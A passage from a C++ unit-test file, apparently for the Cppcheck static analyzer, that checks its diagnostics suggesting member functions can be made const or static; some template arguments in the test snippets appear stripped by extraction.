\" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return 